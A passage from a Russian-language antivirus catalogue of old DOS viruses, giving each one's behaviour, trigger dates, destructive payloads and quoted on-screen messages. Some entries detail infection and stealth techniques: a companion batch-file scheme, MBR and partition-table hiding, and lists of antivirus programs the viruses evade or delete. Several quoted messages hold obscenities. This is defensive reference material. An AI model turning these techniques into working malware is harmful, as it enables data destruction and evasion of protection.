вместо него случайные данные, в начале которых будет присутствовать
строка "Bravo".
Breaking.1000
Неопасный нерезидентный вирус.29 ноября выводит текст "Ylmr computer is
breaking . . ." и "вешает" систему. Имеет также текст "Black Hacker's
revenge."
Brownie.688
Неопасный вирус. 13 числа выводит текст "brownie for Koliada A.I." и
воспроизводит некие звуки на динамике.
BrPI.511, 555
Неопасные резидентные вирусы. BrPI.555 производит скроллинг экрана на
несколько строк вверх для каждого 3-го стартующего инфицированного
файла. Содержат строки:
BrPI.511 - "(c) by BrPI Version 2.0 '92"
BrPI.555 - "by BrPI '92".
Btg.792
Неопасный резидентный вирус. При запуске некоторых программ может
вывести текст "Error in EXE file". Содержит строку "Btg#".
Bubble.656
Неопасный резидентный шифрованный вирус. Содержит текстовую строку
"-=Bubble Bubble=- This program is SHAREWARE!!!".
Bug.920
Опасный нерезидентный вирус. Производит поиск *.EXE файлов и создает
для этих файлов COM-файлы длиной 73 байта, не содержащие вирусный код,
а только производящих запуск данных EXE-файлов. Также производит поиск
и заражение стандартным образом COM-файлов. Удаляет файлы c:\chklist.*.
Производит изменение случайного символа знакогенератора. Содержит текст
"BUG-2.0o=".
Bunny (1-3)
Очень опасные загрузочные вирусы.
Bupt.1363
Неопасный резидентный вирус. После 4096 заражений файлов выводит на
экран сообщение:
Hello,welcome to BUPT 9146,BeiJing!
В теле вируса также имеется текст "Only for experiment.BUPT".
BuptBoot
Содержит строку "Welcome to BUPT 9146,Beijing!".
Burger.382, 560
Очень опасные, замещающие программный код, вирусы. Burger.382 иногда
пытается переименовать файл с расширением EXE в файл с расширением COM.
Уничтожают информацию в 2ух случайных секторах диска C:.
Burglar.1150
Неопасный резидентный вирус. При значении секунд системного времени- 14
вирус выводит текст "Burglar/H". Не заражает файлы из списка (по 2
символа на имя) "CLHWTBF-WCTK". Содержит текст "AT THE GRAVE OF
GRANDMA...".
Burma.442 (1,2), 666
Производят видеоэффект: все символы на экране кружась, исчезают в
центре экрана. Burma.442 (1,2) выводят текст "[Tempest - р]", они
содержат строку "Rangoon, Burma". Burma.666 выводит тексты
"SwizzleStyxx!" и "Reading system configuration, please
wait.", содержит также текст "DarkAvenger".
BW.Roet.1899
Опасный резидентный вирус. 20 декабря уничтожает содержимое логического
диска C: и выводит текст:
ROETVIRUS_E5IBINFECTION PC DeStruCTion aFTeR 255 bEEpsTry aGAin NexT YEar
ROETJE - THE IMMENSE
ByeBye
2, 6, 10, 14, 18, 26 и 30 мая выводит на экран текст "Bye bye C&C".
Cannibal.1261, Cannibal.1312
Резидентные неопасные вирусы. Перехватывают INT 10h, INT 28h, INT 2Fh,
INT 4AH. Отличаются оригинальностью метода заражения файлов, хотя,
данная идея не нова. С помощью INT 10h и INT 28H вирусы контролируют
PSP текущей задачи, находят имя программы в ее окружении (enviroment),
и стандартно поражают ее. Создают файл C:\VIRUS.$$$\cannibal.max,
который содержит следующий текст:
Cannibal.1261:
¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
MAX CANNIBAL vers.1.02
(c)93 PAVLOVO CITY
¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
Cannibal.1312:
¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
MAX CANNIBAL vers.1.04
(c)93 PAVLOVO CITY
¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
Иногда могут вывести данные тексты на экран.
Carbuncle
Очень опасный нерезидентный вирус-спутник. Представляет собой COM- файл
длиной 622 байта. При запуске вируса, он создает в текущем каталоге
файл CARBUNCL.COM с атрибутом Hidden (скрытый). После этого вирус
предпринимает попытку поиска файла *.exe. Если файл с данным
расширением будет найден, то вирус переименовывает его в файл с тем же
именем, но с расширением CRP, а также создает новый пакетный
файл-спутник или файл-компаньон с тем же именем и с расширением BAT. В
данный пакетный файл вирус записывает команды DOS (допустим, что
пораженный EXE-файл назывался EXEFILE):
@ECHO OFF
CARBUNCL
RENAME EXEFILE.CRP EXEFILE.EXE
EXEFILE.EXE
RENAME EXEFILE.EXE EXEFILE.CRP
CARBUNCL
Т. о., при попытке запуска EXE-файла будет запущен BAT-файл, который
переименует CRP-файл в EXE-файл, выполнит его и переименует обратно в
CRP-файл. Если во время запуска вируса (файл CARBUNCL.COM), значение
секунд системного таймера меньше или равно 16, вирус записывает свой
код в первый CRP-файл текущего каталога, уничтожая таким образом
зараженный EXE-файл. Содержит текстовые строки:
@ECHO OFF
CARBUNCL
RENAME
PC CARBUNCLE: Crypt Newsletter 14
Cartier.1056
Очень опасный нерезидентный вирус. Если в текущем каталоге нет COM-
файлов или они уже все инфицированы, то вирус уничтожает 50 секторов
диска C: и выводит текст:
г==============================================================================¬
¦ Don't panic it, I am just a virus named [Cartier]. Nice to meet you ! ¦
¦ You are so dirty to get software without any payments ! I don't like it ! ¦
¦ So, I destory all of your datas in the hard disk now ! Feel so good ! ¦
¦==========================T=========================T=========================¦
¦ I wish you like that ! ¦ What about a drink ? ¦ See you next time ! ¦
L==========================¦=========================¦=========================-
Cascade.1621, 1661 (1,2), 1701 (1,2), 1704, 1706
Неопасные резидентные шифрованные вирусы. Вызывают эффект "падающих
букв".
Casino.2330
Очень опасный вирус. При старте инфицированного файла, вирус пытается
заразить файл C:\COMMAND.COM, после чего создает на текущем диске файл
COMMANDx.COM (где x - это символ ASCII 255), записывает в него вирусный
код и запускает его. Зараженный COMMANDx.COM "перехватывает" INT 21h и
остается в памяти резидентно. В январе, апреле и августе 15 числа вирус
читает в память 80 первых секторов (FAT) случайного диска, уничтожает
содержимое этих секторов на диске и предлагает поиграть в казино:
DISK DESTROYER A SOUVENIR OF MALTA
I have just DESTROYED the FAT on your Disk !!
However, I have a copy in RAM, and I`m giving you a last chance
to restore your precious data.
WARNING: IF YOU RESET NOW, ALL YOUR DATA WILL BE LOST - FOREVER !!
Your Data depends on a game of JACKPOT
CASINO DE MALTE JACKPOT
г=¬ г=¬ г=¬
+Ь+ +?+ +Ы+
L=- L=- L=-
CREDITS : 5
ЬЬЬ = Your Disk
??? = My Phone No.
ANY KEY TO PLAY
В дальнейшем если "вирус проиграет",то он восстановит содержимое диска.
В зависимости от результатов игры выводится одно из следующих текстов:
BASTARD ! You`re lucky this time - but for your own sake, now
SWITCH OFF YOUR COMPUTER AND DON`T TURN IT ON TILL TOMORROW !!!
No Fuckin` Chance; and I`m punishing you for trying to trace me down !
HA HA !! You asshole, you`ve lost: say Bye to your Balls ...
Cat.2770, 2898
Очень опасные стелс-вирусы. Заражают файл c:\command.com, если он
существует. В дальнейшем заражают только .COM и .EXE-файлы, создаваемые
(f.3Ch INT 21h) на дисках A: или B: при их закрытии (f.3Eh INT 21h).
Т.о., в системе может быть только один зараженный файл c:\command.com.
В COM-файлах либо изменяют 6 первых байт, если первая инструкция не
JUMP, или 6 байт из адреса первого перехода, если первая команда -
JUMP, на команды передачи управления основному вирусному коду, который
находится в конце файла. Cat.2898 при старте программ, начинающихся на
AD (ADINF), AI (AIDSTEST) удаляет вирусный код из файла c:\command.com,
а потом снова заражает его. Cat.2770 1-го числа месяца пытается
уничтожить информацию на первом жестком диске, записывая в сектора
повторяющуюся строку "Little Cat", после чего выводит текст:
Hello! I am the Little Cat - lovely VIRUS !
Cat.2898 29-го декабря уничтожает информацию на первом жестком диске и
выводит текст:
Happy New Year! I am the Little Cat 1.5 - your best friend!
Caterpillar (1-11)
Неопасные резидентные вирусы. Первым делом при старте вирус пытается
заразить командный процессор C:\COMMAND.COM. Перехватывают INT 1Ch,
21h. Через некоторое время после установки в память вирусы "выпускают"
на экран зеленую гусеницу "¤¤¤¤¤¤¤¤ўю", которая ползая по экрану,
"поедает" его.
Catholic.1129
Неопасный резидентный шифрованный вирус. Иногда может вывести текст:
May The Peace Be With You....
ROB DA MOB FUCK YA !
CATHOLIC CORRUPTED GAY!
Ccc.381
Содержит текст "CCC1".
CDJoke.848
Неопасный резидентный шифрованный вирус. Если в компьютере установлено
CD-ROM устройство, то вирус "перехватывает" INT 16h и периодически
открывает-закрывает CD-ROM drive. Содержит текст "CD Joke II by NemO".
Cease.382
Неопасный резидентный вирус. При обнаружении трассировки резидентной
копии вирус записывает в обработчик INT 01 процедуру завершения
программы:
MOV AX,4C00h
INT 21h
CeCe.1703, 1994, 1998
Неопасные резидентные полиморфные вирусы. Содержат ошибку из-за
которой вирусы не проверяют наличия своей резидентной копии в памяти и
многократно заражают память. При 1000ом вызове INT 21h на экране
появляется пролетающий слева направо объект, напоминающий муху.
Содержат тексты:
CeCe.1703:
Hacked by Crazy Hacker
самоходные шаровары
die Denis Ermakov
CeCe.1994, 1998:
Welcome to presentation of new program, named Ce-Ce!!!
Can you recognize what does it mean?
1. Do you know the fly living in the Africa?
2. Do you know int3 command opcode?
3. Do you know that 0CCh is equal to 204?
4. Do you know that CC is Computer Center abriviature?
5. Do you know the name of main hero in Santa Barbara?
6. Do you know ...
Chance (1-4)
Неопасные загрузочные стелс-вирусы. 8 декабря выводят на экран строку:
оАll we are saying is give peace a chancеп (J. Lennon)
Также содержат текст:
The John Lennon virus wishes love and peace to everyone
who's got the chance to read this! All my loving to INO!!
Chaos.1181, 1241
Очень опасные резидентные вирусы. Chaos.1181 13 числа устанавливает INT
09, 13h и через некоторое время выводит сообщение "CHAOS!!! Another
Masterpiece of Faust..." и уничтожает содержимое секторов первого
жесткого диска. Chaos.1241 в сентябре "перехватывает" INT 13h и при
обращении к диску уничтожает его содержимое, после чего выводит текст
"I see, I come, I conquer... Trojan horse-CHAOS v2.0 by Faust".
Check.282
Устанавливает свою резидентную копию в область повторяющихся нулей, в
память до адреса 1000:0000. Содержит текстовую строку "ChecK1".
Checkbox.936
Опасный резидентный вирус. Первым делом пытается заразить файл
C:\DOS\SMARTDRV.EXE. При появлении на экране строк "checkboxports",
"givegodmode", "iamtheboss" вирус предпринимает некоторые действия
по переводу консоли на COM-порт, через который, возможно, соединение
взломщика с инфицированным компьютером.
CheckSum.1232, 1233
Проверяют контрольную сумму. И если она не соответствует истинной,
вирусы резидентно в память не устанавливаются.
Cheolsoo
Неопасный загрузочный вирус. Содержит текст "All computing and no play
makes Cheolsoo a dull boy!".
Cherry.2266
Неопасный резидентный шифрованный вирус с "задатками" полиморфика.
"Перехватывает" INT 8, 21h. Иногда выводит текст:
---¦- -¦--¦--¦--¦- --=STEALTH MUTANT=- Best"Igor"......................
-¦ ¦---¦--¦--¦--¦---¦Arkhangelsk'95....................................
---¦---¦--¦-¦¦-¦ ¦---АГТУ/ЭПП/IV.......................................
------------- -- -- Hi000 Sc000 L20...................................
И рисует случайную картинку из звездочек "*". При достижении некоторых
значений в собственных переменных вирус просит ввести имя пользователя
"Enter your name :....", которое записывает в поле "Best". Не работает
на процессоре Pentium.
Chigi
Неопасный загрузочный вирус. Иногда при загрузке системы выводит текст
"IF YOU WANT TO FUCK CALL 575-52-94 LERA!!!!". Имеется также строка
"CHIGI".
ChinBomb.1492
Очень опасный резидентный вирус, заражающий только один файл -
COMMAND.COM. Может уничтожить содержимое 400 секторов жесткого диска,
после чего выведет сообщение:
---- C h i n e s e B o m b ----
( Made in China 1989 )
ChineseFish
Неопасный загрузочный стелс-вирус. Размещает свою резидентную копию по
адресу 8F20:0000 без изменения размера памяти DOS. Вирус пытается
заместить своим кодом вирусы семейства Stoned. 1 и 17 числа месяца
выводит текст:
Hello! I am FISH, please don't kill me.
Congratulate 80th year of the Republic Of
China Building,Fish will help to kill stone
Written by Fish in NTIT. TAIWAIN 80.10.18
Cholera.1497
Неопасный резидентный вирус. Существуют две модификации незначительно
отличающиеся друг от друга. Содержат текстовые строки:
Cholera.1497 (1) - "Cholera v1.0 by dr Hellraiser 94-02-03";
Cholera.1497 (2) - "Cholera v2.0 by dr Fleischman 93-12-29".
Chukcha.554, 838
Неопасные нерезидентные вирусы. При запуске инфицированного файла, если
не указана для него командная строка, то вирусы производят поиск и
заражение COM-файлов. В процессе заражения вирусы создают файл
чукча.!!!, записывают в него вирусный код, потом записывают код
найденного COM-файла, после чего уничтожают COM-файл, а файл чукча.!!!
переименовывают в исходный COM-файл. После этого выводится текст:
ТВОЯ МОЯ НЕ ЗАПУСКАЙ, МОЯ ВИРУСОМ ЗАРАЗИЛАСЬ ОДНАКО !
Если командная строка присутствует при старте зараженной программы, то
вирусы удаляют свой код из файла-жертвы и выводят текст:
НЕ БОИСЬ, ПАРЯ, МОЯ МАЛЕНЬКО ПОШУТИЛ !
Cicada
Опасный загрузочный вирус. 10 июля уничтожает содержимое первого
жесткого диска и выводит текст:
----г======================================================================¬----
----¦ ---------------¬¦----
----¦ ------ --- --- ¦Golden Cicada +¦----
----¦ --- --- ----- --- ------ ----- --- --- ¦ Virus! ¦¦----
----¦ --- --- --- --- --- --- --- --- -------- ¦ Version Pro. ¦¦----
----¦ --- ---- --- --- --- --- --- ---- --- --- ¦June 10, 1994.+¦----
----¦ ------ ----- --- ------- ----- --- --- L---------------¦----
----¦ ¦----
----¦ ------ --- --- ¦----
----¦ --- --- --- ----- ----- ------ ----- --- ¦----
----¦ --- --- --- --- --- --- --- --- --- ¦----
----¦ --- --- --- --- --- --- --- --- --- --- ¦----
----¦ ------ --- ----- ------- ------- ------- --- ¦----
----¦ ¦----
----¦======================================================================¦----
----¦ Something wonderful was happened! Your PC is now Stoned! And your ¦----
----¦ PC was out of order that all the doctor's efforts were in vain! Ha! ¦----
----¦ Ha! Ha! Ha! Serve you right!! I dont' want to damage your hard disk! ¦----
----¦ But...write some trash into your hard disk now!! Well! Beware of this¦----
----¦ virus, don't copy software without any payments! Okay! Goodbye!!.... ¦----
----L======================================================================-----
CityFire.1679
Неопасный резидентный вирус. Иногда выводит текст:
This city is on fire tonight..
Recognize me
CivilDefence.10, CivilDefence.11
Опасные файлово-загрузочные стелс-вирусы. Иногда при загрузке выводят
сообщение:
Хреновая версия DOS
Заменена.
Press any key
А также могут вывести следующие сообщения:
CIVIL DEFENSE VIRUS VER 1.0 (или CIVIL DEFENSE VIRUS VER 1.1)
Formating disc c: complete.
Format another ? (y/n)
Если ввести 'N', то будет выведено:
Эх, как жаль, ведь мне так хотелось э т о сделать ...
Если же нажать 'Y', то вирусы имитируют форматирование диска и выводят:
Hard disk 1 formated. All your data lost.
How are you feel now ?
Возможен вывод следующих текстов:
ХА - ХА - ХА !!!
СЛАВА К П С С !
НАРОД И ПАРТИЯ ЕДИНЫ !
ПРИВЕТ ОТ Г К Ч П!
Гречневым чавканьем сильной личности
Словестного поноса и рьяной кавалерией
Ты забейся в сточной ямочке,
Мягкой дырочке,
Пулями оставленной.
Ведь лучше стучать,чем перестукиваться-
Анонимная философия продавшихся заживо
За колоссальный бесценок,
Заживо погребенных.
Летнюю резину изношенных прокламаций
Обильно смоченных психоанализом.
Единым фронтом на почве соевой
Словно рыбка с растраченной импотенцией
Ты, ведущий, бля на новые подвиги
Мерзлой веточкой опьянения
Ковырни, ковырни в мыльном вареве
Невыносимо невинного прошлого
В мыльном вареве хлеба съеденного.
А небо все точно такое же,
Как если бы ты не продался ...
Е.Летов, "Гражданская оборона"
Имеется текст
/\/\/\/\ ВАС ПРИВЕТСТВУЕТ ВИРУС CDV Ver 1.0 (c) 1992 Н-ск НЭТИ АСУ
/\/\/\/\/\/\/\".
или
/\/\/\/\ ВАС ПРИВЕТСТВУЕТ ВИРУС CDV Ver 1.1 (c) 1992 Н-ск НЭТИ АСУ
/\/\/\/\/\/\/\".
CivilDefence.33, CivilDefence.38, CivilDefence.39, CivilDefence.3A,
CivilDefence.3B
Очень опасные файлово-загрузочные стелс-вирусы. При старте
инфицированного файла, вирусы заражают MBR "винчестера", заменив в MBR
28h начальных байт на код вирусного загрузчика. Истинные же байты MBR
вирусы копируют по смещению 10h в сектор, принадлежащий первому
расширенному разделу DOS (Extended DOS Partition), если таковой
существует на диске. Если же EDP не существует, то вирусы копируют 28h
байт во второй сектор диска. Таблицу логических дисков в расширенном
разделе DOS (смещение +1BEh) вирусы шифруют. Свое основное тело вирусы
размещают в 13 секторах сразу же за первым Extended DOS Partition или
начиная с 3-го сектора диска. После чего вирусы удаляют себя из
запущенной программы. Активизация вирусов в память происходит после
первой же перезагрузки системы с жесткого диска. При загрузке
инфицированного MBR, вирусы считывают свое тело с диска в память по
адресу 4020:0000h и перехватывают прерывания 08 (таймер), 09
(клавиатура), 13h (диск), 17h (принтер). При обращении к сектору EDP
через INT 13h вирусы расшифровывают таблицу логических дисков в памяти.
Далее вирусы следят за изменением INT 21h - если оно изменилось, вирусы
перехватывают его. При запуске любой программы, вирусы перемещают свое
тело в свободные адреса памяти (f.48h INT 21h). Во время загрузки
вирусы могут переставить вектор INT 26h (запись на диск) на INT 16h
(клавиатура) и вывести сообщение:
Fucking MS-DOS version
Pissed off
Kick any key
и ждать нажатия на клавишу, тем самым стирая информацию в случайных
секторах диска. Иногда при нажатии на Ctrl-Alt-Del, вирусы могут
вывести на зеленом фоне "философский" текст:
Завтра будет скучно и смешно,
Это не больно - просто вчера был день.
Завтра будет вечно и грешно,
Это не важно - важен лишь цвет травы.
Соль просыпана на ладонь.
Она рассыпана на ладони...
Мышеловка захлопнулась!
Егор Летов, ГРАЖДАНСКАЯ ОБОРОНА
Производят всяческие манипуляции с INT 09, при этом нажатия клавиш
могут игнорироваться. При открытии файла (f.3Dh INT 21h) вирусы в
выполняемой программе по определенному адресу, если слово по этому
адресу F19Ah (?), могут изменить 5 байт на последовательность NOP'ов
(90h). При записи на экран (f.40h BX=1 или BX=2 INT 21h) вирус ищут
последовательность выводимых букв "Лозинский ", и если они найдены, то
ищут символ BCh - '-'. Если же и он найден, то вирусы, видимо,
предполагая, что запущен популярный антивирус Aidstest, определяют PSP
текущей задачи и пытаются определить имя этой программы. Открывают
данный программный файл и определяют его дату создания (f.5700h INT
21h). Если файл создан до сентября 1992 года, то вирусы не
предпринимают никаких мер. Если же позже - то либо вирусы "вешают"
систему, либо выводят на экран сообщение, примерно, следующего вида:
Внимание:
Обнаружен вирус CDV 3.3 (Civil Defence Virus)
Неизлечим. Для устранения используйте утилиту FORMAT.COM
или:
Внимание:
Обнаружен вирус CDV 3.9 (Civil Defence Virus)
Неизлечим. Для устранения используйте утилиту PREFOR.COM
после чего останавливают работу Aidstest и производят выход в DOS.
EXE-файлы вирус заражает только на диске A: или B: при их поиске
(f.4Eh,4Fh INT 21h). Файлы меньше 8000 байт не заражаются. Проверку
защищенности дискеты от записи вирусы проверяют посредством чтения и
записи логического сектора диска INT 25h, INT 26h. При печати на
принтер могут выводить нецензурную брань. Содержат тексты:
(c) 1992 Новосибирск,
Центр программирования новосибирского фэн-клуба Гражданской Обороны.
ГРАЖДАНСКАЯ ОБОРОНА - ВСЕНАРОДНОЕ ДЕЛО!!! Х О Й !!!
CivilDefence.33 -
Товарищ лозинский! CDV непобедим - вы зря тратите время,
пытаясь вылечить сраные компьютеры.
Вас Приветствует Civil Defence Virus ( CDV ver 3.3 )
CivilDefence.38 -
Punk not dead!
Т. лOзинский! Поздравляем вас c успешной cmеной вАШЕЙ фамилии на более
латинскую.,
See you later...
Вас Приветствует Civil Defence Virus ( CDV ver 3.8 )
CivilDefence.39 -
(c) 1993 Modified by Civilizator. 38.43.93 г
Fuck to Лоzинскiй. Happy changing name. Is it get you down? Yeah!
Isn't it?
Punk not dead!
Вас Приветствует Civil Defence Virus ( CDV ver 3.9 )
CivilDefence.3A -
(c) 1993 Modified by Civilizator.
Fuck to Лоzинскiй. Happy changing name. Is it get you down? Yeah!
Isn't it?
Punk not dead!
Вас Приветствует Civil Defence Virus ( CDV ver 3.A )
CivilDefence.3B -
(c) 1993 Modified by Civilizator.
Вас Приветствует Civil Defence Virus ( CDV ver 3.B )
Claudia.8772
Неопасный резидентный шифрованный вирус. После 25 августа выводит на
экран текст:
Das ist ClaudiaSchiffer virus by OS
Sometimes when U stroling down the
Avenue the way U walk it makes men
Thinkof HAVING U when U walking
Down the street everybody stops
& turns 2 stare at U! (IrM)
Hope 2 meet U...somewhere in time
В левом нижнем углу экрана также находится фотография Клаудии Шиффер.
Видимо, очень любит человек из Серпухова Клаудию... Может быть они,
действительно, когда-нибудь встретятся...
Cli.1313
Опасный резидентный вирус. 2 февраля уничтожает MBR первого диска.
Cli&Hlt.1345
Неопасный резидентный шифрованный вирус. Вызывает INT 02, меняет цвета
символов на экране. Содержит текст "** (C) CLI&HLT Hackers Group **".
Click.329,375
Издают звуковой сигнал при заражении каждого файла.
CLME-вирусы
CLME (Crazy Lord Mutation Engine) - полиморфный генератор вирусных
шифровщиков и расшифровщиков. Создан вирусописателем по "кличке" Crazy
Lord.
CLME.Ming.1528
Полиморфный нерезидентный вирус. Если значение секунд во время старта
зараженного файла - 2, то вирус выводит на экран текст:
Written by Crazy Lord (Ming)...Using CLME v0.61
Содержит также строку "CLME V0.61".
CLME.Ming.1952
Опасный полиморфный вирус. Содержит инструкции i386. При неосторожной
трассировке вирусного кода может уничтожить 34 первых секторов всех
доступных физических дисков. Не заражает файлы оканчивающиеся на AN,
OT, 86, PY, EG. Иногда выводит сообщение:
*Amoeba v1.00*
Written by Crazy Lord (Ming)
Made in Hong Kong
Также содержит строки "Amoef", "CLME V0.62".
CloneWar.261
Содержит строку "CloneWar V1.0".
CloneWar.546
Содержит текст:
Beyond
The rim of the star-light
My love
Is wand'ring in star-flight
I know
He'll find in star-clustered reaches
Love
Strange love a star woman teaches.
I know
His journey ends never
His star trek
Will go on forever.
But tell him
While he wanders his starry sea
Remember, remember me.
[TrekWar] *.EXE COM
CloneWar.923 (2)
В зависимости от системного таймера, либо производит поиск *.EXE-файлов
и создает вирусы-спутники с расширением COM для этих EXE-файлов, либо
производит исполнение некоторой музыки (если это можно назвать музыкой)
и "зацикливает" на этом систему.
CMOSDead.3618, 3622, 3710, 5154
Опасные резидентные шифрованные вирусы. Примерно через год после
попадания на определенный компьютер, вирусы уничтожают содержимое CMOS-
памяти и выводят текст:
------- --- --- ------- -------
-- -- -- - - -- -- -- --
-- -- -- -- -- -- -------
-- -- -- -- -- -- --
------- -- -- ------- -------
Your computer will be need a psychiatrist...
GRISOFT(c) SOFTWARE 1989,96
----- ------- ------- -----
-- -- -- -- -- -- --
-- -- ------ ------- -- --
-- -- -- -- -- -- --
----- ------- -- -- -----
CmosDead.5154 также уничтожает MBR жесткого диска, записывая в него
код, который выводит текст "CMOS-DEAD: DATA DESTROYED !". Не заражают
файлы, содержащие в своем имени буквосочетания AVG, AVGW, AVGSYS, SCAN,
CLEAN, ASTA, VSAFE, MSAV, TURBO, WIN, BP, TRAP, TBAV, TBDRIVER, VCOP,
GUARD, VS, 286, 386, CHKDSK. Содержат текст " I love MS-DOS ! " или
"Hello Mr. Odehnal !".
CMOSDense.807
Опасный вирус. Периодически странным образом изменяет некоторые опции
CMOS-памяти.
CNTV.2630
Опасный резидентный вирус. Размещает свою резидентную копию в системных
буферах DOS. Часть обработчика INT 21h - в первом программном PSP
(Program Segment Prefix). При запуске программы, вирус загружает ее в
память с помощью f.4B01h Int 21h (загрузить без выполнения), трассирует
стартовый код программы и внедряет свой расшифровщик по адресу 100-ой
инструкции. Основной вирусный код зашифровывается и записывается в
конец файла. Из-за ошибок вирус может испортить заражаемый файл. Иногда
вирус может вывести сообщение: "н A CuBaN NeW TeChNoLoGy ViRuS By
SoMeBoDy !".
Cock.512
При заражении каждого 15 файла выводит ругательство на английском
языке. Содержит строку "Smart Cock".
CodeDa.1289
Опасный резидентный вирус. Первым делом пытается заразить командный
процессор (COMMAND.COM), указанный в переменной COMSPEC. Через 7 дней
после заражения файла блокирует нажатия клавиш ESC и "`". Свое название
получил за вызов функции AX=CODE INT 21h для проверки своего нахождения
в памяти и ответа AL=DA.
CoffeeShop.1568
Неопасный резидентный вирус. В пятницу, если значение секунд системного
таймера равно 0 выводит изображение зеленого листа (см.
MtE.CoffeeShop). Содержит строки "CoffeeShop", "MK '92",
"COSCCLVSNEHTTBVIRAFEMTBR".
Coito.644
Содержит строку "-= COITO, ERGO SUM =-By Green Leon 1993".
Collor.878
Опасный шифрованный вирус. В зависимости от системного таймера может
уничтожить содержимое 15 первых секторов жесткого диска. Но перед этим
выведет текст "Virus Collor De Mello".
CommanderBomber
При заражении файлов использует довольно сложный полиморфный алгоритм.
Считывает 4096 байт из середины файла-жертвы и записывает их в конец
файла. В освободившееся место записывает свой вирусный код. Затем вирус
записывает несколько участков своего кода (подпрограмм) в различные
места файла. Эти подпрограммы содержат, практически, все инструкции
процессора 8086. Первая подпрограмма находится в начале файла, а
последняя передает управление основному блоку вируса. Подпрограммы
'общаются' друг с другом с помощью команд передачи управления JMP, RET,
CALL и т.д. Таким образом, инфицированный файл представляет собой
программный код, который содержит в своем теле вирусные 'пятна'.
Содержит текстовые строки "COMMANDER BOMBER WAS HERE" и "[DAME]".
Commando (1,2)
Неопасные резидентные вирусы длиной 421 и 498 байт. Различаются только
видеоэффектами: переключают видеостраницы или "трясут" экран. Содержат
строку "COMMANDO-3".
Companion.Caro
Опасный резидентный вирус-спутник.17 октября уничтожает содержимое всех
логических дисков. При запуске с ключом -? вирус выводит текст:
This virus is dedicated to Caro, the girl that under less than a period
of 5 hours changed my life drastical. Positive or negative? Who knows..
Cool.929
Неопасный резидентный вирус. В полночь выводит на экран "мусор".
Copy77
Начиная с 77 своего поколения при загрузке выводит текст
"Copy 77 in job ...".
Cordobes.3334
Неопасный резидентный полиморфный вирус. Удаляет файл CHKLIST.MS.
Примерно через 4 месяца после заражения файла вирус записывает в конец
файла C:\AUTOEXEC.BAT текст:
@Echo Virus "EL MOSTRO CORDOBES".
@Echo No tema por sus datos. Que pase un buen dба.
@Echo.
@Pause
Cornucopia
Неопасный нерезидентный вирус-спутник. Упакован утилитой PKLITE 1.14.
Производит поиск и заражение COM и EXE-файлов на всех доступных дисках.
При заражении файла, переименовывает оригинальный файл, создавая ему
имя, отличное от настоящего имени только последним символом. К
последнему символу имени файла вирус прибавляет единицу (для кода
ASCII). Например, если имена файлов были FILE.EXE и 00000.COM, то вирус
переименует данный файлы в FILF.EXE и 00001.COM соответственно. После
этого вирус заново создает файл с оригинальными именем и длиной и
записывает в него свой код. По окончании своей "работы" вирус пытается
запустить оригинальный файл. Если данный файл не будет найден, то вирус
выводит сообщение "Unknown command", после чего выводит имя истинного
зараженного файла. При трассировке кода вируса, вирус может удалить
файл, содержащий данный код на диске. Содержит тексты:
C:\*.* .COM .EXE
PROT SCAN VIRU NAV MZ
This is a SIMUTATED VIRUS for testing.
Copyright Rosenthal Engineering 1991
CorpLife.1929, 1937
Неопасные резидентные полиморфные вирусы. При заражении EXE-файлов
используют FCB-функции. Если на компьютере имеется Sound Blaster со
speech-драйвером, то вирус передает этому драйверу текстовую строку
"Fuck Corporat Life.". Вирусы также содержат строку "$B -=[$$$
Corporate Life $$$]=- P$".
Cossiga.859
Опасный нерезидентный вирус. Может уничтожить содержимое первых 9ти
секторов 39 цилиндров первого жесткого диска. После чего выведет текст
"TE LO SEI PRESO NEL CULO !".
Cpsu.680
Устраивает видеоэффект: четные строки экрана движутся в одну сторону,
нечетные - в другую. Содержит текст "Long live CPSU".
Cpw.1459
Опасный резидентный вирус. Изменяет вводимые символы с клавиатуры, 27
мая выводит текст "нFeliz cumpleадоs CPW!. Содержит строку имен файлов,
которые вирус не заражает, но может и удалить любой из них:
"МОСNCGUARDEMSCPAVSCANCLEANFINDVIRUCHKVIRUS". Содержит также тексты
"Este programa fue hecho en Chile en 1992 por CPW.", "C:\COMMAND.COM",
"You are here CPW!".
Cpw.1527
Опасный резидентный шифрованный вирус. 11 сентября, 28 декабря, 27 мая
удаляет файлы. Содержит текстовые строки:
CPW fue hecho en Chile en 1992, нVIVA CHILE MIERDA!
C:\COMMAND.COM
GUARD guard CPAV SCAN CHKVIRUS CLEAN TOOLKIT VSAFE CHKLIST.CPS
Вирус удаляет файлы, обозначенные в последней текстовой строке.
Cracky.546
Неопасный резидентный вирус. Иногда выводит сообщение "K.I.I.S.°".
Crazy.1402, Crazy.1445
Неопасные стелс-вирусы. Перехватывают INT 1Ch, INT 21h. В памяти хранят
две свои копии. При каждом вызове INT 1Ch (таймер) вирусы копируют
"пассивную" копию в "активную", предохраняя, т.о., свой код от
трассировки и от обезвреживания активной TSR-копии в памяти. Содержат
тексты:
Crazy.1402 - " Crazy imp v1.5 ";
Crazy.1445 - " Crazy imp v2.0 ".
CrazyBoot
Неопасный стелс boot-вирус. При 8995ой загрузке с инфицированного
диска(!!!) выводит текст:
Don't PLAY with the PC ! Otherwise you will get in 'DEEP,DEEP' trouble !...
Crazy Boot Ver. 1.0
Crepate.2910
Очень опасный полиморфный файлово-загрузочный вирус. При первом старте
инфицированной программы заражает MBR жесткого диска, причем если
зараженная программа была запущена с гибкого диска, то вирус сохраняет
не оригинальный MBR, а boot-сектор флоппи-диска. Восстановить истинный
MBR в данном случае невозможно. При загрузке системы с жесткого диска
вирус устанавливает свою TSR-копию, перехватывает INT 1Ch, ждет
установки DOS, после чего перехватывает INT 21h. В зависимости от
системного времени вирус может переформатировать "винчестер". Содержит
текстовые строки: "COMcomEXEexeOV?ov?", "Crepate
(c)1992/93-Italy-(Pisa)", "Crepa(c) bye R.T.!".
CriCri.4300, 4616
Опасные резидентные полиморфные вирусы. Заражают загрузочные сектора
дискет и COM, EXE - файлы. При заражении из-за ошибки могут портить
файлы. 4 июня выводят на экран текст "Cri-Cri ViRuS by Griyo/29A ...
